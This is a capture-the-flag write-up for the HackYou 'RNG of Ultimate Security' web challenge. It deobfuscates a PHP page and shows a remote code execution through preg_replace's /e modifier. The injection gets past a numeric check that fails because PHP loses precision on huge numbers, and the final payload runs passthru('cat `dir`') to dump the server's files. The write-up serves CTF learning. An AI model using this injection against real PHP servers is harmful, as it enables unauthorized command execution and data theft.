code hacking, zen coding

HackYou CTF – Web 300 – RNG of Ultimate Security Writeup

Web challenge.

We have the “source code” and we know the location of the flag:

<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

The web page is simple form to generate pseudo-random numbers. Here is the form:

    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>1455592514
1816609169
1284133797
66671252
462888992
</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>

The RNG “algorithm” is passed in the form in the rng_algorithm POST variable, let’s decode it:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Looks like a preg_replace pattern with variable $1.

Let’s zoom on the obfuscated PHP source code:

<?php

${b("ee3ab0f9421ce0feabb4676542993ab3")} = b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")} = b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")} = b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")} = b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")} = b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")} = b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if (${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"), ${b("eb717d90b3287b1fbd")})) {
    ${b("532194e0380d7a29761eb0b215b4168d")} = ${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
    ${b("f877261be92e25500a601f21ab4cfa84")} = ${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
    ${b("dbcffbbeb2632a6e6c6f84ac52064768")} = b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
    if (${b("2e272b48041e04ef643cc8624445f2a0")} != ${b("6a24556aba8e247fa9d27de3bed53586")})
        ${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
    else
        ${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"), ${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"), ${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}), ${b("532194e0380d7a29761eb0b215b4168d")}));
} else {
    foreach (${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"), b("94a8be1778")) as $_)
        ${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}() . b("f975de3ba2"));
}
${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b)
{
    return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ ^ ®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);
}

Looks a lot like obfuscated javascript. The string decode is function b. Function b is an eval function and a funny looking binary string.

What does this string do ?

Using the Vulcan Logic Decompiler (php opcode disassembler) :

line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   3     0  >   EXT_STMT                                                
         1      FETCH_CONSTANT                                   ~0      '%DC%E7%91%88%A9%B2%D3%D2%9C%C4%A0%AC%9E%F3%B6%E9%B2%EE%8C%96%89%85%FA%A0%ED%A9%A6%CE%B2%90%8C%D7%AA%B1%A7%E8%F9%E4%BC%A6%A1%AE%81%D3%F0%BF%BF%E0%9A%D2%A0%DA%8A%D0%BE%DF%C1%DC%95%EF%CD%B5%FE%EB%99%C4%96%FE%B6%B1%9D%A4%B3%8C%C0%E5%F2%C8%E0%D9%EE%AF%8A%A1%89%BF%B8%96%A6%F5%F0%F6%CC%BC%8A%89%DF%BA%91%EC%D8%DA%E5%E0%C7%D0%81%8F%D1%91%CA%DB%89%E2%E4%A0%FE%8A%E9%C1%D4%DB%92%C8%D5%C3%91%A0%CF%84%8F%AA%FC%E4%B1%B5%D1%DB%CF%C9'
         2      FETCH_CONSTANT                                   ~1      '%AE%82%E5%FD%DB%DC%F3%A1%E8%B6%FF%DE%FB%83%D3%88%C6%C6%E1%F2%BC%AD%89%D5%8F%DA%D2%BC%9A%B4%EE%FB%9A%9D%9F%C1%D5%90%CE%D3%C4%87%AD%B0%95%D6%D3%C8%B2%A1%D4%A8%E6%B5%D0%F7%E5%BE%BC%C2%F5%9C%D1%DA%AF%ED%BF%A0%C6%D0%FE%CF%9B%AE%9C%9D%C6%F0%BC%A1%DC%CE%A8%8D%FA%CA%DA%E5%D2%87%D8%D2%AE%90%B2%A0%F6%81'
         3      BW_XOR                                           ~2      ~0, ~1
         4      FREE                                                     ~2
   5     5    > RETURN                                                   1

I don’t quite explain myself yet how this binary string ends up being executed by the Zend parser yet but I know enough to reproduce the decryption in Cryptool, xoring hex string 1 with hex string 2:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))^pack(“\x48\x2a”,substr($b,8));

So this is function b. Now we can write a python script that will unobfuscate the string for us:

import hashlib
from Crypto.Cipher import XOR

file = open("web300.strings")

source = open("web300.txt").read()

for line in file:
  s = line.strip()
  key = s[0:8]
  cipher = s[8:]
  m = hashlib.md5()
  m.update(key)
  hash = m.digest()
  obj=XOR.new(hash)
  plain = obj.decrypt(cipher.decode("hex"))
  print key, plain
  source = source.replace("b("" + s + "")", plain)

print source

Result:

${Gjx7QbQ4l3EL}=array_key_exists;${USVuYTejL3cA}=preg_replace;${lRzbPV0GVCmL}=mt_rand;${eU3WOwVfyB2j}=printf;${MFBEFx3icClz}=range;${KytnuQGCMhPA}=pack;${eU3WOwVfyB2j}(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);if(${Gjx7QbQ4l3EL}(rng_seeds,${_POST})){${LhfnDi9VtrJM}=${_POST}[rng_seeds];${aKRml6aSjmxW}=${_POST}[rng_algorithm];${SBBTqFwnO6s5}=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;if(${aKRml6aSjmxW}!=${SBBTqFwnO6s5})${eU3WOwVfyB2j}(wuut?! hacker detected!);else${eU3WOwVfyB2j}(${USVuYTejL3cA}(#\b(\d+)\b#se,${KytnuQGCMhPA}(H*,${aKRml6aSjmxW}),${LhfnDi9VtrJM}));}else{foreach(${MFBEFx3icClz}(1,5)as$_)${eU3WOwVfyB2j}(${lRzbPV0GVCmL}().
);}${eU3WOwVfyB2j}(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Much better but we still have a second layer of obfuscation, let’s remove it using some simple search/replace in vim:

printf(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);

if(array_key_exists(rng_seeds,${_POST})){

  if(${_POST}[rng_algorithm]!=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929)
    printf(wuut?! hacker detected!);
  else
    printf(preg_replace(#\b(\d+)\b#se,pack(H*,${_POST}[rng_algorithm]),${_POST}[rng_seeds]));
}
else
{
  foreach(range(1,5) as $_) printf(mt_rand().);
}

printf(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Nice! preg_replace with an “e” (execute) modifier but:
– the pattern will only match decimal number (\d+) so we can’t use the classic attack of passing a PHP function in rng_seeds and getting it executed by the “e” modifier.
– there is a “security check” on the content of rng_algorithm so we cannot replace directly this hex string with our own php code

Now take a closer look on the security check. The huge hex string is not actually a string.. it’s missing quotes! So PHP will interpret it as a number.. but PHP is not very good with huge numbers if you don’t use the special BigInt functions. Let’s verify this:

$ php -a
Interactive shell

php > $a = 5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;
php > echo $a;
5.3684131286442E+123

The number is truncated to 5368413128644200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

So we can replace anything after 5368413128644154, PHP won’t be able to properly compare it with the reference numbers.

Now please notice something: in order to be a valid number, this hex string cannot contains letters! So we can only use characters using the [0-9] pattern.

This severely restrict which php functions and characters we can use. I wrote a simple script to dump all built-in PHP function names that were only numbers when converted to hex:

$funcs = get_defined_functions();

foreach($funcs['internal'] as $func)
{
  $l = '';
  $i = 0;
  while($i < strlen($func))
  {
    $l .= dechex(ord($func[$i++]));
  }
  if (is_numeric($l) && !strpos($l, 'e'))
  {
    print $func . ' = ' . $l . PHP_EOL;
  }
}

Result:

$ php func.php
each = 65616368
date = 64617465
idate = 6964617465
getdate = 67657464617465
ereg = 65726567
eregi = 6572656769
bcadd = 6263616464
...

So we need to keep “5368413128644154” at the beginning of the number which is hex for “ShA1(dAT”

The flag is in the flag.txt.gz file.

I settled on the following code:

ShA1(dATe(passthru('cat `dir`')))

Why ?

– “flag.txt.gz” cannot be expressed only with [0-9] hex
– passthru() will output the result of the shell command directly to the browser, bypassing date() and sha1().
– Little bash expansion trick to get cat to output every file in the current directory

So this will dump the file content of all files in the current folder. From there, we extract flag.txt.gz and extract it, it’s 19 megabytes big. It turns out be base64-encoded multiple times but nothing difficult.

I will need to research more about the binary string being executed by Zend parser later.

Please note you can also decrypt the b function using Xdebug’s tracing functionality.

Share